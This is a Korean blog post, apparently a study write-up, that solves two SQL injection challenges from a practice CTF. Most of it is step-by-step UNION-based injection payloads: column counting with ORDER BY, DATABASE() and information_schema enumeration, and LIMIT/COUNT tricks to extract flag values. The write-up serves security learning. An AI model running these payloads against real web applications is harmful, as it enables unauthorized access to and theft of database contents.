SegFault CTF - 6주차

2025. 5. 14. 15:06·Study/with normaltic

이번 주차에 제공된 문제(보너스 문제 제외)는 2개다.

SQL Injection 1

SQL Injection 1

User ID를 토대로 유저를 검색할 수 있는 페이지인 것 같다.

진짜인지 'normaltic'을 입력해 확인해보겠다.

SQL 쿼리를 예상해보면 `WHERE id='normaltic'`일 수도 있고, `WHERE id LIKE '%normaltic%'`일 수도 있다. `rmal`만 입력해 어떤 건지 확인해보면, 위와 똑같이 `normaltic`의 유저 정보가 뜬다.

즉, 쿼리는 `WHERE id LIKE '%normaltic%'`인 것으로 예상된다.

이제 다음의 쿼리를 작성해 SQL Injection이 가능한지 확인해보겠다.

normaltic%' and '1%'='1

해당 입력이 들어가면 쿼리는 다음과 같이 완성된다.

SELECT * FROM member WHERE id LIKE '%normaltic%' and '1%'='1%'

`normaltic` 유저의 정보가 정상적으로 뜨는 것을 보아, SQL Injection이 가능한 것 같다.

이제 가져오는 다음의 과정을 통해 DB를 탈취할 수 있다.

  1. 가져오는 칼럼의 수 확인
    칼럼의 개수를 알아야 UNION을 통해 내가 원하는 다른 정보를 이어붙일 수 있다.
  2. DB명 확인
    DB의 이름을 알아야 나중에 확인할 테이블들 중 어떤 테이블을 사용해야하는지 알 수 있다.
  3. 테이블명 확인
    알아낸 DB(schema)에 존재하는 모든 테이블들을 확인한다.
  4. 그 이후는 알아서
    이 뒤부터는 함부로 예측할 수 없다.

칼럼의 수를 확인하는 방법은 여러가지가 있을 수 있는데, 그 중 가장 쉬운 방법은 `ORDER BY` 키워드를 사용하는 것이다.

ORDER BY

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 'id'

이렇게 `ORDER BY 'id'`라고 쓰면 `id`라는 칼럼을 기준으로 정렬을 해준다. 하지만 칼럼의 이름을 쓰지 않고서도 정렬을 할 수 있는 방법이 존재한다.

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 3

이렇게 쓰면 왼쪽에서부터 3번째 칼럼을 기준으로 정렬을 해준다. 만약, 3번째 칼럼이라는게 존재하지 않는다면, 즉, 칼럼이 3개 미만이라면 오류가 나게 된다.

이 점을 활용해 칼럼의 수를 알아낼 것이다. 1씩 높여가며 칼럼의 개수를 확인한다.

 

normaltic%' ORDER BY 3 #

이런 입력을 하게 되면 다음과 같은 쿼리가 작성될 것이다.

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 3 #%'

끝에 있는 `%'`를 처리하기 위해 주석 `#`을 넣었다.

유저 정보가 정상적으로 출력되지 않을 때까지 1씩 높여가며 확인한다.

확인 결과, 5로 했을 때 유저 정보가 정상적으로 뜨지 않았다. 즉, 칼럼의 개수는 4개라는 것이다.

아마 화면에 출력되는 ID, Level, Rank Point, Rate 칼럼을 가져오는게 아닐까 싶다. 확실히 알고 싶다면 다음 입력을 보내면 된다.

normaltic%' UNION SELECT 1,2,3,4 #

이제 DB명을 확인할 차례다.

DATABASE()

데이터베이스의 이름을 확인하는 방법 또한 여러가지 있을 수 있지만, 가장 쉬우면서도 현재 사용중인 DB의 이름을 알아낼 수 있는 방법을 사용하겠다.

SELECT DATABASE()

`DATABASE()` 함수는 내장 함수로, 현재 사용중인 DB의 이름을 문자열로 반환한다.

normaltic%' UNION SELECT DATABASE(),2,3,4 #

라는 입력을 보내면 DB의 이름이 출력될 것이다.

`sqli_1`가 DB의 이름인 것을 알 수 있다.

Table Name

저번 Blind SQL Injection을 했던 것과 마찬가지로 `information_schema.tables` 테이블을 통해 테이블명을 확인할 수 있다.

모든 테이블들을 출력해버리면 구분하기 힘드니 WHERE 절로 DB(schema)가 `sqli_1`인 것만 출력하도록 하겠다.

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_1'

SQLi 공격은 다음과 같이 하면 된다.

normaltic%' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='sqli_1' #

`flag_table`, `plusFlag_Table`, `user_info`라는 테이블을 가져왔다.

Column Name

이번엔 칼럼의 이름을 하나씩 가져와보겠다.

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table'
normaltic%' UNION SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_name='flag_table' #

`flag_table`에는 `flag`라는 칼럼 하나만 존재한다. 또다른 플래그가 저장돼있을 것으로 의심되는 테이블 `plusFlag_Table`을 열어보면 다음과 같다.

UNION

이제 두 테이블들을 한꺼번에 다 출력해보겠다.

normaltic%' UNION SELECT flag,2,3,4 FROM flag_table UNION SELECT idx,flag,3,4 FROM plusFlag_Table #

offline_segfault 플래그는 뭔지 모르겠다.

SQL Injection 2

SQL Injection 2

이번엔 유저 전체 정보를 보여주지는 않는다. placeholder에 normaltic이 적혀 있으니 한 번 입력해보겠다.

검색이 된다. 이번에도 아까처럼 `LIKE`를 이용한건지 `=`를 이용한건지 확인하기 위해 `rmal`만 입력해보겠다.

뭔가 뜨는 것 같지만, ID가 입력한 그대로 나와있다. 게다가 Info에는 아무것도 적혀있지 않다. 이 입력을 통해 알 수 있는 사실이 4가지 있다.

  1. ID는 무조건 입력한 그대로로 출력된다.
  2. DB에 존재하지 않더라도 일단 최소 하나의 데이터를 출력한다.
  3. 쿼리문은 `LIKE`가 아니라 `=`를 사용한다.
  4. 정상적으로 출력이 된다면 Info에 문구가 뜰 것이다.(normaltic ID 한정)

이제 SQLi가 가능한지 확인을 해봐야한다.

normaltic' and '1'='1

정상적으로 출력되는 것을 보아, SQLi가 가능한 것 같다. 바로 아까처럼 칼럼의 수를 알아내보겠다.

normaltic' ORDER BY 7 #

7부터 안 되는 것을 보아, 칼럼의 개수는 6개다. 바로 UNION을 통해 DB명을 확인해보겠다.

normaltic' UNION SELECT DATABASE(),2,3,4,5,6 #

에러가 난 것도 아닌데 normaltic 유저의 정보밖에 뜨지 않는다. 처음에 유저 전체 정보를 안 보여줬던 것도 그렇고, 아예 행을 최대 하나까지밖에 안 보여주는게 아닐까? 이를 확인해보기 위해서는 다른 유저 정보가 있는지 확인해볼 필요가 있다.

' or '1'='1

... 첫번째 유저가 normaltic인 것 같다. LIMIT을 통해 다른 행을 출력해보겠다.

' OR '1'='1' LIMIT 1,1 #

분명 다른 유저의 정보가 있음에도 불구하고 `' OR '1'='1` 입력에서 하나의 행만을 출력한 것을 보면, 쿼리 결과에서 맨 위의 한 행만 출력하도록 하는 것으로 추측된다.

그렇다면 애초에 normaltic의 정보를 출력하지 않도록 하면 된다.

' UNION SELECT DATABASE(),2,3,4,5,6 #

어떤 칼럼이 출력되는지 확인하지 않았다보니 DB명을 확인할 수 없었다.. Info 자리에 6이 뜨는 것을 보니, 6번째 칼럼 자리에서 원하는 결과를 확인해봐야 할 것 같다.

' UNION SELECT 1,2,3,4,5,DATABASE() #

DB명은 `sqli_5`인 것을 확인할 수 있다. 이와 같이 테이블명도 확인해보겠다.

' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5

다음은 칼럼의 이름이다. 

' UNION SELECT 1,2,3,4,5,column_name FROM information_schema.columns WHERE table_name='flag_honey

이 flag에 들어있는 값을 바로 확인해보겠다.

' UNION SELECT 1,2,3,4,5,flag FROM flag_honey #

?

 

 

간과한 점이 있다. 여기서는 행을 딱 하나만을 출력해준다는 점을 잊어서는 안 된다. 애초에 테이블을 찾았을 때 `flag_honey`라는 테이블만 염두에 뒀던 부분부터 잘못됐다. 다음의 입력을 통해 테이블이 총 몇 개 있는지부터 확인해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM information_schema.tables WHERE table_schema='sqli_5

총 3개의 테이블이 존재한다는 것을 확인할 수 있다. 나머지 두 개의 테이블명도 확인해보겠다.

' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' LIMIT 1,1 #

`flag_honey` 이외에도 `game_user`, `secret`이라는 테이블이 있었다. 딱 봐도 `secret` 테이블이 수상하니 `secret` 테이블부터 조사해보겠다. `flag_honey`는 너무 대놓고 플래그가 있을 것처럼 유혹하는 것 같아서 하기 싫다.

또 당할 수 없으니 꼼꼼하게 칼럼의 개수부터 조사해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM information_schema.columns WHERE table_name='secret

칼럼의 개수는 다행히 한 개다. 이 하나의 칼럼 이름을 찾아보겠다.

' UNION SELECT 1,2,3,4,5,column_name FROM information_schema.columns WHERE table_name='secret

칼럼의 이름은 `flag`, 이거 하나뿐이다.

하지만 방심할 수 없다. 행의 개수 또한 조사해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM secret #

2개다. 또 낚시가 있는 것 같다. 일단 미끼부터 물어보겠다.

' UNION SELECT 1,2,3,4,5,flag FROM secret #

...

미끼인 걸 알고 있었으니 정신승리하고 넘어가겠다.

' UNION SELECT 1,2,3,4,5,flag FROM secret LIMIT 1,1 #

다행히 함정이 더 있진 않다.

'Study > with normaltic' 카테고리의 다른 글

Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25
SegFault CTF - 5주차 - 번외  (0) 2025.05.07
SegFault CTF - 5주차 - 2  (1) 2025.05.06
SegFault CTF - 5주차 - 1  (0) 2025.05.06
'Study/with normaltic' 카테고리의 다른 글
  • Blind SQL Injection
  • Error-based SQL Injection
  • SegFault CTF - 5주차 - 번외
  • SegFault CTF - 5주차 - 2
renia256
renia256
  • renia256
    나른한 고양이
    renia256
  • 전체
    오늘
    어제
    • 분류 전체보기 (19)
      • Study (17)
        • 컴파일러 (0)
        • 잡다한 것들 (2)
        • FTZ (0)
        • with normaltic (15)
      • 자료구조 (0)
      • writeup in kr (1)
      • writeup in en (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    suckless2
    UMass
    UMASSCTF
    CTF
    writeup
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
renia256
SegFault CTF - 6주차
상단으로

티스토리툴바